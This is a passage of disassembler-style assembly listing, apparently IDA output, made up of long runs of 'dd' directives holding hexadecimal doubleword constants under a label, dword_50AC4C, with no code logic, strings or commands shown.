10D95065h, 0BC48F2FCh dd 0A4008C96h, 97BAF16Dh, 4F02791Dh, 6A1C99FCh, 4CE2434h dd 2FC06788h, 9563F48h, 4C93DA8Eh, 90AD1402h, 0C85CACC4h dd 772383A8h, 85809D6Dh, 1EBB9B32h, 0D9D675h, 7BAE0F61h dd 73FD334Fh, 3067A224h, 8E01D5E8h, 8CDF4808h, 0F0207C72h dd 1FFA5F8Dh, 99CB8B6Ch, 92F84458h, 0A2A1BCF5h, 7090955Bh dd 90026F50h, 58CDB186h, 841DE02Eh, 0BDA7024Ch, 542941FBh dd 465E207Ch, 4D0B7C94h, 6214C891h, 0C08CED00h, 0BAD274F1h dd 1825D38h, 0BB7C1BDFh, 5C33B842h, 213004A2h, 5E6494C7h dd 0D7009B46h, 0C6B55AEAh, 0BE16836Ah, 0F4828BB0h, 40902B9Eh dd 0D826FB5Fh, 181AB501h, 0F14C8781h, 0CF4480EBh, 2F280F5Fh dd 8E213B5h, 0B89324D4h, 0B72DD0A2h, 8B2B0080h, 0B09A4F95h dd 548F795Bh, 309EEB84h, 13902ABCh, 0BFFC772Ch, 8F6CC200h dd 9509D1CBh, 53D75810h, 800065Eh, 0F002FCC5h, 43651C29h dd 4EF60261h, 34F0E2DEh, 1A24F911h, 80C49B5Ah, 8F304380h dd 0B7950B2Bh, 0A851AA11h, 5E3E2682h, 0BB8D80B6h, 67C80F93h dd 0F463411Ch, 85A4E811h, 78A8A680h, 1C8C02FCh, 8924E370h dd 74E23E5Bh, 0B400A859h, 8032FECEh, 0FD0D3B40h, 65BCEF01h dd 6829167Eh, 494605C8h dd 0EC815D6Ch, 0A4303925h, 337A12D6h, 0F244F29Fh, 2A053093h dd 9088E48h, 905BD0B9h, 0A8A74068h, 952923C0h, 67C4B867h dd 0AC961560h, 0FA26BA05h, 0E0A81808h, 691901AAh, 0CA862BB1h dd 0A903843Dh, 0ACE5EAC4h, 0F6569BA8h, 183A1E2Dh, 0C93FACh dd 13A35B1Fh, 6AD59229h, 0BFC4080h, 4F51D35Eh, 8F00DC51h dd 6BAD7CBEh, 2FDE5B83h, 0FB2384h, 2AE386BFh, 0FF01F5BAh dd 0FC6B835Bh, 8C683CFBh, 51AD7518h, 0CC00717Ah, 7FAF98ACh dd 7CE47CDh, 0F505DEC8h, 0B1938529h, 0F2287270h, 30F331FAh dd 0E917236Bh, 0E300D978h, 0D78DC8CAh, 0F5951399h, 9AACD290h dd 0D24050F6h, 0E795A71h, 6707F485h, 0A873E9E4h, 6A27043Ch dd 78EC5701h, 0A6006222h, 14063C9Bh, 1CA7D8h, 8F6AB567h dd 29AA9893h, 1575F3EEh, 44F06795h, 0ED6C60F7h, 62990693h dd 0A99235E7h, 165C9280h, 4CC00803h, 0AB24E0A8h, 302A849h dd 0DF3A0393h, 2EBD63A1h, 542AB01Fh, 0F379E8E9h, 0CB00B218h dd 0A0860137h, 0B6C9A109h, 4E2980D4h, 50FB9446h, 4659CB2Dh dd 601CADF4h, 4C2E7148h, 2D81970Ah, 0B202B2DCh, 0D449532Bh dd 3700D63Ch, 0D146380Ch, 12040695h, 40142B5Fh, 8AF5F99Ch dd 483E5045h, 992122Ch, 518EACA0h, 606FC0E4h, 5575233Ch dd 7EF27007h, 37002C01h, 223B59h, 6A259D1Bh, 0BEFCEAEBh dd 98E34400h, 0A13AA497h, 47D4F4Bh, 0A64E4904h, 0D7FAE0B0h dd 6F2D025Dh, 0E48DC1A4h, 29122872h, 0F0F0D94Ah, 9454983Eh dd 8900DC3Ch, 0AC3179A8h, 0B69CD9FBh, 0D3610F7Ch, 95472561h dd 0DA9461FAh, 52DDA098h, 0A54F2409h, 34D84876h, 0A3830087h dd 0FEC943BDh, 3F79BCB8h, 0D1C86F00h, 57B93D4Dh, 0BF3001EFh dd 0EC5DFC50h, 37DB603Bh, 6CAC49h, 1ACFB10Ah, 0FAE6C695h dd 5C4DF476h, 0DD044Ch, 33DDD118h, 5A12B03Dh, 50F8F026h dd 0A0E1CF27h, 3CD714A8h, 7218E470h, 9292AFCh, 7837B794h dd 95DA10Eh, 0C5480B89h, 6096E480h, 90570BDh, 2ADFB139h dd 0D705ECF3h, 9090D65Bh, 3EBE1D7Bh, 4059F985h, 110070BCh dd 0FCD651C7h, 789DF91Dh, 5CFE5DAAh, 1BE32901h, 3099AC20h dd 6400EF8Bh, 0E037C9Ch, 27E4CBB1h, 0D4CD4F6Bh, 0C5600344h dd 0AF5AC7FAh, 95E97C39h, 4029EE00h, 0AA6F2100h, 3F55D518h dd 7170B48Eh, 0E00B0DADh, 0CECE0588h, 0EEA7C099h, 0BE08F9E9h dd 8B7D4190h, 0E8C5C993h, 0F703D697h, 0DEA48599h, 0A960E78Dh dd 4CC7B52Bh, 9C167CFDh, 0F35C848Fh, 3069B21Ch, 97AA7Bh dd 1E555EC0h, 4CE095ABh, 22804E23h, 0B40B7395h, 45314454h dd 0A440B175h, 0CD92612Eh, 0CFB03EC6h, 4066B681h, 0C4140A2Bh dd 0CB58B5E2h, 94396731h, 45217071h, 4F8DA470h, 8ACC8C89h dd 0C0C3C927h, 0F99EC7DCh, 388B44Fh, 0F644ABC2h, 35EB40CCh dd 0B03EEBFh, 3027E213h, 0A8A9CCE4h, 0F5D92F00h, 0B6537B44h dd 78EF1700h, 0BDE574DBh, 255109B3h, 14049345h, 0EC24F94Eh dd 0E8B4001Dh, 4CC86A4Ah, 304BFD7Ch, 13E170F0h, 0E393367Bh dd 3002B2BCh, 1A099515h, 0E1E253E3h, 14688FC8h, 9E18BE9Eh dd 2D9718ACh, 78A27931h, 58C62CFCh, 0E64D4444h, 4EF99E40h dd 0FC7C402Ah, 826D511Fh, 24202FF9h, 0E00D8F4Fh, 271E1F5Bh dd 58456F13h, 58616BE4h, 0C93BD815h, 0F4C5059h, 58E62BD5h dd 0B8DCFC9h, 0BE8032ABh, 3D13C71h, 513FF618h, 0B8E40546h dd 84E9FDC4h, 1C0097B8h, 0C8F5BE33h, 17760383h, 0E0D5822Ah dd 29E0C390h, 0CC8F1D00h, 3A0B4AB8h, 0F8FA2551h, 6BF99471h dd 0EA020E18h, 0CD29DA11h, 0EC0450F3h, 75E11454h, 5E888A3h dd 3EE9018Ch, 4F88ECB7h, 0B29ACC54h, 95E86FF0h, 0B842BA12h dd 0EFB82CF9h, 112BF508h, 206627A8h, 66712099h, 60045D18h dd 4F6AE396h, 9704F8F2h, 904CCFDh, 931C6453h, 0A1CD78C8h dd 84156D16h, 27738201h, 0C12E6182h, 284DEF6Ch, 8CF5BCFCh dd 0FD09DB7Ch, 0DA233570h, 13F70AC0h, 48CB015h, 0E6B54F7Ch dd 39D1B0F4h, 61151D6Fh, 34C20E17h, 0A09F21A0h, 6D0411DFh dd 5B2D6227h, 190F4888h, 104FDD92h, 2228687Bh, 0DC54BE4Eh dd 3C441C48h, 253B41B3h, 236C2E70h, 4FBF006Ch, 1523F635h dd 0C81DF09Ch, 0C4D4C72Fh, 8DBE60FAh, 47F60931h, 0D0543B32h dd 606D620Bh, 34CD287Ch, 0F8B80273h, 1C6E5FD8h, 31D7F600h dd 432BDEB1h, 0A5E0E495h, 60F6C414h, 383DDDEh, 6A27A68Bh dd 0A812673Dh, 84B84357h, 15AD0921h, 806B9128h, 0EBCED589h dd 0F177041Fh, 814611FFh, 13F9D70h, 31A756F8h, 85004851h dd 7DDD876Bh, 22680339h, 7A3A3DCFh, 0DB60F0D8h, 0FD0F5F00h dd 68D1FFE1h, 0F9B70D13h, 2BA93D24h, 0C78BD89Bh, 224A8841h dd 309AF248h, 60085BAh, 0D9CB424Fh, 9C28F9D0h, 2B638B8Ch dd 0A80D244Ah, 3E8CF139h, 0F5ABC44h, 214A0101h, 20526A36h dd 0CC406CEDh, 5A624099h, 0C060ED97h, 0D197669Eh, 581AB600h dd 5EE5E1A3h, 0BF560F68h, 0F70BDBEBh, 660B04Dh, 1CCE6419h dd 4E97E344h, 0FB40A8F5h, 16D411A4h, 92ADD8C2h, 0B01F5568h dd 6E809411h, 0A75EFBF9h, 0F78DD1Ch, 91B01D67h, 0D42882FAh dd 485EC085h, 8E2B25A7h, 0CD178CDBh, 0ECC41612h, 6E3FBCF1h dd 97581758h, 10B5DC12h, 5FA98141h, 86E6Ah, 97CA5FC9h dd 0B6A30125h, 4C969D44h, 0CD10AB21h, 6B71E0B4h, 0DA5BD710h dd 4A03AC96h, 8AC251D3h, 1DC8D19Dh, 0CC9F4A9Ch, 67361C08h dd 0D0814820h, 5474B8AAh, 5D01DC00h, 3E9C44A9h, 5A7B1759h dd 0EE84DCA8h, 40022CB6h, 2AA3E73h, 786D10AFh, 59423EE0h dd 3D2D2796h, 0DA5354C8h, 98B7934Eh, 396ABCA0h, 0A6D2CF1Eh dd 0FE78097Eh, 0C468C548h, 92F36095h, 7B9F09CBh, 1854573Dh dd 0BCF95392h, 3AB64916h, 6A2350h, 0BE5EEDD7h, 3909BF38h dd 7619257Ch, 2BD50254h, 0ACA29282h, 9117F7B5h, 0B7AC8069h dd 61597A27h, 0C988B844h, 48C42E13h, 0D46EBFh, 0DA95CBE3h dd 334A29A6h, 505855F1h, 8A6253E0h, 6B37B0C9h, 5D85E87Ch dd 8CCA0013h, 0CC49083Ah, 0C2386836h, 0C9AA85B5h, 428098F9h dd 4CDD0h, 7C0C0383h, 0CA53D8E1h, 0CB78D4Fh, 0A69AD712h dd 6243E008h, 0D0E8016Bh, 0FDFFCB25h, 886D35h, 0B30B1ADAh dd 2789871Fh, 4C22BF9h, 46760C7Ch, 66C500F5h, 5B3DA559h dd 0C86E610Ah, 105FC7C0h, 17A1926h, 0BDF98791h, 0E0C9D6B1h dd 3430E1E4h, 0EAC2C441h, 0B64500FDh, 383A16F6h, 1A008467h dd 22636198h, 48FD4983h, 19005121h, 82BFF080h, 65185196h dd 0E08667Ah, 3F20C022h, 47CF078h, 3C0A3Ch, 0CAB521F9h dd 0B922A3h, 781998B1h, 826EC644h, 0E157F800h, 37B35406h dd 86610E97h, 88603A7h, 4E181028h, 4D49310Ah, 7FBC00BEh dd 261DCDB6h, 8CCA5AEh, 0FA722149h, 0B5843CBCh, 5EF2AF80h dd 936B2536h, 50162000h, 87FF21B0h, 7F5430ECh, 311D652Eh dd 406CB430h, 0B7C12Dh, 5A9FD3BDh, 0CA3BE788h, 86888369h dd 26933A1h, 0EC6B58AEh, 908CA77Ah, 54A44F20h, 80BCBF04h dd 4662D5B6h, 0BCB77320h, 38E72C59h, 847830F8h, 6201C2BFh dd 0F6582804h, 0C4414956h, 4361215Ah, 6332DECh, 1573F9CBh dd 8100B164h, 0EA87E553h, 3331464Dh, 7A083DE2h, 4BA32100h dd 0E88F7EE5h, 0E1F73E26h, 0CDF8E980h, 1EB866BEh, 682DCF30h dd 53DDBF86h, 42E2BC08h, 7E47D030h, 38E68Ch, 27ACFF6Ch dd 0EB88CD60h, 0B89210Ch dword_50AC4C dd 4A313Bh, 48BB7FF6h, 7709579Ch, 7ECA6C07h, 8FC360B3h dd 8B400933h, 148EB22Dh, 86413898h, 0AB532400h, 0A2FD8579h dd 3D08CC71h, 7E006221h, 0FE409C24h, 3E4A35Ah, 0ADED0413h dd 38D1AEAh, 2AE04AA0h, 22E13018h, 3CAE7E39h, 3C14DA4Eh dd 7D24E867h, 0F07AC078h, 664682B9h, 39001222h, 4BACF072h dd 0C08448Eh, 9EE2AD0Dh, 0B6EA331Eh, 0D060A731h, 708334F1h dd 0FAE6B330h, 71E86040h, 0E551048Ch, 623DEA85h, 49A12076h dd 711F78E5h, 6852D784h, 0FEB81801h, 0C0064C66h, 7F0F8246h dd 8E48BEF0h, 3E4015C4h, 3B19F077h, 6FB24D00h, 0E870B701h dd 90B05408h, 35EB0021h, 0E2803831h, 2E6822DCh, 0B111D018h dd 52248580h, 458C71ABh, 247DC835h, 80F1677h, 94B67E70h dd 1B82324h, 0AB59248Ch, 883618A9h, 24758468h, 57AE6702h dd 0C0EF0C79h, 1A03C3Fh, 0EAA5476Ch, 2030F849h, 0A63508D8h dd 6C1FC957h, 0BCB90163h, 18A5B67Ah, 0B16D8844h, 9530BC01h dd 0B0313459h, 4A2D198Eh, 0C004A0B5h, 845F15A7h, 218C4F9Ch dd 0DC296F0Ch, 5D7AE500h, 1AED30BDh, 689A00E7h, 310D4E73h dd 0EA8867BBh, 81B3A2AEh, 99168014h, 0B63E19BCh, 0E82A3A20h dd 0F9496CB2h, 18038E20h, 72582002h, 448906C3h, 9810424h dd 40211860h, 0DBC350h, 0A8461B3Eh, 0B50BF78Bh, 7206453Ah dd 6D9D8D0Ch, 0E06A0C2Ah, 2EE85452h, 23C3725Ah, 1D115489h dd 0C3524203h, 0A7A0DCEBh, 6D005BE4h, 89A1BB25h, 0C10355B5h dd 0FF238156h, 0C19FCBFEh, 851661BDh, 0DB8C6618h, 14233A2Eh dd 9E9A83Dh, 55759600h, 0CF825986h, 7B5FEE4h, 0F67D7CB9h dd 124660AEh, 8B7CE731h, 0A0F79D6Fh, 840F04C3h, 147C337h dd 1E865185h, 0ED95FF0Ch, 2C81A718h, 18122DFh, 5C0F2AD0h dd 9474D850h, 8940D706h, 205C2404h, 0E9302E81h, 46C5550Dh dd 956B0022h, 9DFD344h, 4D06A9BAh, 4B4E9AFh, 8B0F1824h dd 11E8311Ch, 6B1E0BC0h, 7703D81h, 0EB4EC1D2h, 4C2311A7h dd 0D9F5F4C2h, 0D5EE98C0h, 0E0B05EF9h, 0D951831h, 70E68208h dd 0E971E40Ch, 3CFF5107h, 83801E42h, 0B60FA3DBh, 9D3389D8h dd 96BA337Dh, 57C8812Bh, 0C3725F18h, 117C8923h, 57470215h dd 0A1D143C3h, 8B351C95h, 0A0870FE4h, 308D892Ah, 0C16A12CDh dd 0FBA704E8h, 6601C44h, 0CC263914h, 0D4001422h, 7DBD333Bh dd 605AC328h, 310012E9h, 0F42299CFh, 3FFF3692h, 0EE893FA6h dd 40014696h, 44AD506Ah, 9D5142BDh, 61001069h, 0A5E2F766h dd 6016C452h, 5C69D38h, 2BF8B70Fh, 23A83AD8h, 54B10616h dd 0A1209665h, 50930032h, 0BACE8B60h, 0EA5881EFh, 0A0937B2Eh dd 0A18B5F78h, 5C891185h, 5B0A9D29h, 85B5847Eh, 5108C833h dd 0C359398Ch, 384C8913h, 51014136h, 269395C3h, 0A420EA05h dd 263250DDh, 5B398C53h, 5C8911C3h, 438A1988h, 0A800A753h dd 687135EDh, 3AC91E8h, 0D2619536h, 0D1A3CCD0h, 60440400h dd 0D681F27Dh, 1C7509F6h, 0A8185E32h, 0CC00D29Dh, 0E70619ADh dd 690B21h, 0E2DA4C7Bh, 0BF5237EDh, 9B3CAC08h, 55B0B205h dd 0E4C35D30h, 226C4689h, 5545001Ah, 0DE17EDC3h, 0DD243F79h dd 0EF04896Ch, 0C9826F95h, 17CA42FCh, 801B112Ch, 0E2EEF49Eh dd 9920039h, 0F613C97h, 2489183h, 0C35688DBh, 8991C35Eh dd 83032374h, 8CC35646h, 6DDA081h, 0FD030405h, 1149120Fh dd 0B1410260h, 0FAB80028h, 0D01DEDDh, 0BF0F5661h, 1D375EF2h dd 0AEAC1F4Dh, 94FD7000h, 0DCC686F8h, 0E806183Fh, 6055250Ch dd 8A9BA41Fh, 213382BDh, 4040411Fh, 0EFC9BDA0h, 3C389AA4h dd 0A699951Dh, 4BF6832h, 95A650F7h, 23C53AE8h, 41C60217h dd 0E642E929h, 311DF340h, 284B5881h, 0F4C01A88h, 1BB2858h dd 235467DAh, 0B00295B5h, 880F6252h, 0EA0153A7h, 43301DE2h dd 753903DFh, 114EE8Eh, 0E481A6DAh, 1021BDh, 0B1B9F861h dd 0D1F2290Dh, 7C61815h, 79BF663Fh, 0FA8B4025h, 5AA5C183h dd 78601AE4h, 6B022DA8h, 0FEFAFEEh, 33208A80h, 0D93BF307h dd 0A91A86B2h, 11261D8Dh, 8EBA8018h, 2E295E25h, 133F5F57h dd 4B6FD9h, 983655A5h, 5DF68165h, 0C92225C1h, 0B08E837h dd 24BE0DD1h, 26C2FDC8h, 10AE29F2h, 335F2E17h, 467426CAh dd 266A001Dh, 0AA93998Eh, 0EC5C5E92h, 422507Dh, 0BE6629C0h dd 0B82B220Bh, 19DE019Ah, 3D6791AFh, 0ACA7A034h, 0E92F6C63h dd 180B010Eh, 8815BE0Ch, 0BD5A2095h, 0D964D701h, 56E9C4F2h dd 11C49FC2h, 0D1CB8215h, 76D5C4E8h, 2E58B509h, 2282CA00h dd 0E2A04CFh, 0DEB924E7h, 2444248Ah, 0A04667E5h, 0D50C45A0h dd 9E881800h, 22C15E4Dh, 0B6FA058Ch, 80615AA6h, 2051B570h dd 63C0B283h, 0D7D8D312h, 0E985C7E0h, 991CC013h, 0FC3BB877h dd 0BD8126C5h, 92D07F88h, 700F7992h, 0F1CA9182h, 689D1815h dd 0CFCB46C7h, 0ADFF2227h, 0C0015E6Eh, 294F1B4Dh, 0D8D003Fh dd 89821A32h, 2A9A11B5h, 31C0E873h, 0C858949Dh, 762275F9h dd 3CD52C77h, 364960AAh, 0CAF8B624h, 7EF89C01h, 0E38BB472h dd 29ED5088h, 0B05E5F0Bh, 0B3F88B11h, 24DA30F3h, 0BF98907Dh dd 0CEDC612h, 1B23133Ah, 0CA5D7C00h, 305720EFh, 0CF5032A3h dd 8B2EB3DDh, 490D5FFBh, 0EEF4750Eh, 45D7427h, 0A9176E6h dd 0C0F7DB24h, 4051C91Ah, 0ED852C29h, 0FE98C7Ch, 0F601DE25h dd 38F3F449h, 62DC59D2h, 9B6F0B22h, 97B71D97h, 0D80FEC87h dd 0B503A730h, 2016419Dh, 0BC19F72Ch, 50586359h, 0E2F92819h dd 516B3016h, 8D01F205h, 9420212Dh, 0C20CB9F6h, 44E1DE0Ah dd 0C57EAA80h, 0FD94367Ch, 0FF4902DCh, 2EBD9D31h, 6BC73380h dd 433FE92Fh, 0DB9F1F7h, 4B1815D1h, 70065E58h, 49953188h dd 8B006C75h, 0E9CE81C1h, 7814139Ch, 41404EBh, 333D8D89h dd 1602BF0Eh, 0E7535744h, 6E44370h, 0A9858DF7h, 0B5267B28h dd 50871EBDh, 5F60F53h, 0F8BF0235h, 5F45E544h, 1EC80C70h dd 951AC06h, 87483185h, 73E95E56h, 3017B29Ch, 45E42E1Eh dd 0FE0DDFFEh, 0A8504B4Ch, 510FF230h, 21CAFD06h, 2305C083h dd 3017A224h, 0DF0175C0h, 5260907Bh, 0F4009E9h, 351E5Eh dd 385BF1E4h, 0B95259EAh, 569F9A0Eh, 5061E76Bh, 8B60431Fh dd 248F9FF3h, 0A88C310Fh, 3F6800DBh, 524A6432h, 0FC003D55h dd 3B5ADF0h, 56585A8Eh, 41F0DC90h, 3CC66B2Fh, 9008F78Bh dd 17F52063h, 0D2EF1F90h, 2130F672h, 8DF2192Fh, 0A7B01F9Dh dd 690F9E0Eh, 6C28EEh, 0FFCEF1D7h, 0DD9D89D3h, 85431463h dd 8B4F5C6Dh, 71FE908h, 843FE81Bh, 1AED4FC1h, 0BB9BCF55h dd 0BC0BDBDDh, 9E090FBAh, 0FA863457h, 0C3499B37h, 9FB04006h dd 5DB52BB0h, 9D8B800Bh, 4C1468E3h, 8C16E883h, 43ECF41Fh dd 0E42EE39Ch, 0F18B6681h, 8F60DB0Bh, 81008458h, 8335B7D6h dd 0A309CBBDh, 84DA1199h, 0E9F90C07h, 0B0F50D4Fh, 11481E8h dd 18F2D563h, 5D3D730h, 60DFAE80h, 8EC0889h, 8EBF6601h dd 1C7161E6h, 5714E333h, 2A9C3F82h, 0F5EE0A62h, 699C8D49h dd 126708h, 9241E781h, 91B46616h, 78D65C68h, 13A416B1h dd 0B6AB84F1h, 9A8E008h, 13CD2DB5h, 23409231h, 301AF228h dd 6104D8CAh, 9E772A7Fh, 0A6487BA3h, 11A8510h, 0A55FEABEh dd 0C25506Ah, 0EA30A125h, 288024Eh, 362E92Eh, 1B11459Dh dd 0DD507A80h, 3F14A587h, 4BD8F29h, 0B05577E6h, 0C9FFDFC0h dd 980862E8h, 0A6D230E5h dd 0F6B70F05h, 758371E4h, 92E2847Dh, 0FB87527Eh, 686254Bh dd 0E70CDDD3h, 4920C34Eh, 877820F6h, 4E6116E4h, 5A3430AAh dd 19270E04h, 2BF2D82Bh, 383015F2h, 24DF9622h, 84BE9CD5h dd 0C402312Fh, 0DFDC82D4h, 89C60129h, 61CE241Ch, 16691140h dd 8D8C0FC5h, 8BC3EE75h, 0C10F245Ch, 1EB9B529h, 0CEB00C92h dd 0C0178820h, 266B259Dh, 0F08BCDA0h, 837BCCA2h, 0A43DAB71h dd 532A3622h, 0D688EC5Fh, 0EBA648F8h, 39F714C2h, 5FEA88D2h dd 916465Ch, 7B1E03Fh, 20089910h, 32292DA9h, 2D158FB2h dd 0E2891411h, 0F0F92B24h, 0FE29B725h, 1C712658h, 72002018h dd 5D75AEB6h, 0C254F2C9h, 1A18855h, 40D139D3h, 88052830h dd 2A1333BEh, 48C83AE5h, 4DBD2629h, 2A08A70Ah, 8AE27D0h dd 4BC78ACAh, 23417102h, 5211C909h, 5BEFB114h, 30AEC08Bh dd 0D2A1BD09h, 0F4F1C887h, 44A5C78Ah, 317C6019h, 78B91329h dd 0BFE9D03h, 0C01A88D1h, 0FF1CE034h, 0B1F70C14h, 34F131F7h dd 0BD24B9BDh, 0FAC35D2Bh, 453B77BCh, 20205F09h, 760199Fh dd 621142F8h, 5D8DF357h, 0FC5FC113h, 0A76028D8h, 611DE494h dd 0E4F0C8DDh, 0C26D04E6h, 0A2B09C02h, 6407003Ch, 8B3E4BC9h dd 0E516261Dh, 132508D7h, 1251E90Eh, 1104507Bh, 0C8719531h dd 2D99C0DDh, 631819D1h, 7973504h, 0F681FF91h, 0C104244Dh dd 0A72AADB0h, 20490C5Fh, 610E4159h, 0C77D26h, 5FCEABDFh dd 34C0B2BFh, 9B901D3Bh, 86F0C19Ah, 0E121398Eh, 0FD821D04h dd 0E57979F2h, 27A47E44h, 0B56EBA0Bh, 187E8171h, 0C56939EBh dd 0D24C7DB9h, 7E8789DAh, 2789C934h, 1491D3B1h, 0A74054D9h dd 0BC8160F3h, 627104BDh, 0A65BC8E9h, 0C517AA00h, 6690615Bh dd 690602BEh, 1315B589h, 6FD09CFBh, 0EBE41637h, 80FDDB15h dd 455A966Ah, 55DD053Eh, 0A69FAFDEh, 0CF7DE158h, 4431AB20h dd 1B881411h, 17820051h, 0A305696Dh, 4F000898h, 196F503Ch dd 50B355D0h, 4488B352h, 0B4A0510Eh, 438220F1h, 5F4984E1h dd 244D422Bh, 479660C2h, 60154405h, 68E84C75h, 0C4150Ah dd 8F57AC81h, 6A2639CAh, 0D50D7058h, 0A530B317h, 44EBA75Fh dd 0C548601Dh, 0FE33F416h, 5BFD17E1h, 0F8DF0364h, 0FF9AEDE9h dd 19351168h, 208D8980h, 604C2DFDh, 8C1BE83Fh, 59551600h dd 3A629E37h, 1CB94BE6h, 8B37AD2Eh, 31C5B500h, 0E48D21B0h dd 0B29DD224h, 0C3705F74h, 74722AE0h, 0E9800C48h, 9D3A61D7h dd 1F3B1A4Eh, 12021723h, 0D0E97F36h, 6077155Eh, 0C94D478Bh dd 0E00ECBCh, 3BB11F51h, 9801E183h, 5822437Dh, 8C14B81Fh dd 9D892E04h, 0F2D61B3Dh, 0D85B93F9h, 3E24C072h, 7900C60h dd 95957876h, 0E2617E07h, 6A648E0Fh, 0BDC8FECh, 126B543Fh dd 3666088h, 32457B9h, 9D31B1B5h, 2235B661h, 0C1BF2A51h dd 8481D23h, 481A934h, 122985E7h, 0B10EA808h, 18A1A7h dd 12C3DB81h, 5F299DDFh, 0C94A7801h, 9127A035h, 2C9E4CD3h dd 0FE796F82h, 0F005266h, 8B2BDFE5h, 44DEE8h, 0BA7F7122h dd 88535E4Fh, 0D58CF30Ah, 6648E98h, 0B9CB8B4Eh, 5820316Ah dd 9760A9BEh, 2B1A3954h, 70DCDB8Ah, 0A7F26213h, 7E1EB903h dd 144A0258h, 0C118897Eh, 1AE81894h, 24EEE8Ch, 224AD4EEh dd 0E19AF807h, 2439F102h, 3C69E191h, 0BCA2496Eh, 46896201h dd 0C14F13E9h, 0BFB08F60h, 0B3C15D8h, 0F8294A8Bh, 3F2592B5h dd 1D23C8h, 6FD55D29h, 61712294h, 8B40E614h, 8C1CFC5Ch dd 1B090E00h, 3395788Bh, 88684A5Ch, 110030FBh, 0CE46D920h dd 118B5F51h, 4B07899Dh, 0FC1B52C8h, 0B579F3h, 1959FF0Fh dd 67785D0Ah, 0D7764204h, 77C092F7h, 0A6B1E8F0h, 3D2A4888h dd 28C18FCh, 0E3EA4DD2h, 6DC0512Ch, 66C25AD3h, 40A4F2C6h dd 49958B3Ch, 1D4D44B1h, 618C14ACh, 0F6DA5CD6h, 2A026492h dd 99D81793h, 8C7C09B2h, 5086F20Ch, 6D4354DAh, 19A25142h dd 0BE3DB30h, 70A39D2Fh, 0A179C404h, 57A8DAC5h, 431911E1h dd 492434C4h, 55C168DBh, 28CBD4h, 820D85E0h, 94096607h dd 0CF45D4ADh, 0A8A85D4Dh, 268C0E4Eh, 1DCACC88h, 3D372FF5h dd 3476E100h, 9685C7DCh, 9AB7E91Dh, 34B6218Eh, 40153FBFh dd 0DCE99E61h, 0EBFCA101h, 0E99D6107h, 0D491BB8h, 0C904A1BCh dd 0B302634Eh, 0C1DE3782h, 0BE787582h, 416E5Ah, 93D529E5h dd 0E95EC66h, 459D095Fh, 0E96AA472h, 0C2D47558h, 78A8D88Ch dd 0E35423Eh, 77B5FF01h, 9FC0CC84h, 0ED0E7D18h, 0F089D0F0h dd 8BA5C055h, 0CEFC1FEh, 6E046840h, 247B820h, 0E00DA557h dd 9550FFC5h, 3261E91Ah, 4585C66Bh, 567B002Ah, 0C530DF68h dd 557EA962h, 0A1283413h, 61630E33h, 1A6A50A7h, 6E56057Ch dd 0C3611200h, 0EBEAE0C1h, 9104B00h, 0C53C2F0Eh, 3DAF01Ah dd 0D41CA4ACh, 0E48B5CD2h, 3134CE80h, 871BF53Ah, 0D129B327h dd 0C7DD5B90h, 17E63E2Ah, 1CDF7A7Eh, 29A6DB67h, 4128F001h dd 0D427E600h, 0E9C3727Dh, 2575940Eh, 30C1644Dh, 0D6F86007h dd 0C04309E9h, 0FB0E5129h, 590C4BBFh, 7985BE81h, 0BD830006h dd 589BAA19h, 3E5C5EC5h, 1C23BFh, 0A29D7C59h, 0BD12305Fh dd 21A0D9BBh, 28568112h, 7FC134A4h, 29FD7581h, 0B8596100h dd 0DBBE8BA4h, 4DCE541h, 17F3FCh, 4A8DAA94h, 3F67CBE1h dd 68C2FB3Fh, 8B0F1DB9h, 28205C0h, 0E6F9080Dh, 751105C5h dd 0D1128809h, 13748329h, 3C085350h, 2404D0B8h, 0B0EE04C9h dd 0D337800Dh, 1CAC585Bh, 1A0C1141h, 573D8E3Bh, 0C16DA52Bh dd 0EF205959h, 0DB6CD2F9h, 42C08E98h, 87CE8B66h, 10F999A0h dd 7617EF80h, 1DBBFE0Fh, 0D350F3B1h, 1E04A287h, 8B2F7EB9h dd 0F0FEC75h, 776842EBh, 9AC48B9h, 0E56F1F4h, 0BA605032h dd 1BDCB422h, 0B7006771h, 0F648086Bh, 0AE360383h, 615F2EF5h dd 10E86519h, 83C44229h, 0DFAD0062h, 93FE1D63h, 30013DC1h dd 8A24574Bh, 0E8285FF5h, 91A20227h, 8525052Dh, 8195391Dh dd 0F5BF0569h, 94538BA3h, 1923083Ah, 0B7C4C700h, 52971EF0h dd 0EA0E8AE9h, 0FB24901Fh, 0D799824Bh, 0DE8C8AAAh, 8FAD5200h dd 0B2FCB720h, 0C6BA4CA1h, 0C649C358h, 81083464h, 631C98Eh dd 5BEB4374h, 0F800AB6Ah, 4D394770h, 6016413Fh, 6020E890h dd 7F569FDh, 11D44B0Fh, 0B056709Ch, 5B0061DCh, 0A58FD808h dd 3D801A37h, 7C48A4E7h, 3231C513h, 0F924B714h, 2847DDD8h dd 4490DB80h, 0A700D204h, 0D68BD49Ah, 0A48AB250h, 0F7A8ECD7h dd 0E484D2C3h, 6E584AC5h, 0FF3500BCh, 0D6EA9E6Fh, 189D16C2h dd 0B1D65C0h, 2030C9BAh, 9149BD89h, 4C264CE5h, 8C1CE8DBh dd 0BA2B9000h, 29954E63h, 0BE4948E5h, 0E0098D14h, 0F4569942h dd 8973EFF0h, 504A955Fh, 0D188C451h, 35E56613h, 39DC2D94h dd 258354A7h, 0EB129031h, 280EBF88h, 0EC57DE2Bh, 0FC68F880h dd 907FCA94h, 0E62404C1h, 0E60A4520h, 19DAE04Ah, 0C2890F15h dd 142C886h, 0BDF9E9B7h, 0FC382D01h, 0EDF45D3Dh, 0D7281494h dd 0D02BE429h, 44D2DEDh, 77007BC7h, 1D6E91F4h, 0D4A285C7h dd 3558A731h, 2DB381B4h, 1516051Bh, 50393DE0h, 0B6D1F233h dd 17467CC3h, 54CDD50Eh, 5876F4B4h, 7584CA29h, 2CAE3219h dd 1A415526h, 105D9867h, 0C09E3CB9h, 0CA8BDE20h, 31C10168h dd 5260CBFBh, 3370EB0Fh, 4EB9582Eh, 61451A00h, 5C243481h dd 1F1494F8h, 0C9109F60h, 0BE937F06h, 0C4D8B788h, 1B0FDE9h dd 16A4ED51h, 0DED4B39Eh dd 958D0E37h, 0AA224076h, 0B781C2A1h, 747F93D2h, 0A0E59DF9h dd 9482BF59h, 63D2F153h, 32BB8083h, 0A8AC28h, 689DB36Ch dd 0E81AE303h, 10BB6000h, 0BE2869E2h, 0EDDC14C5h, 80818271h dd 88331F93h, 2E17FD9Ch, 0FCFC669Ah, 0C8390D27h, 5AA4C359h dd 0ED808897h, 0FC644C00h, 8349EFA9h, 0C4520633h, 0F64096D0h 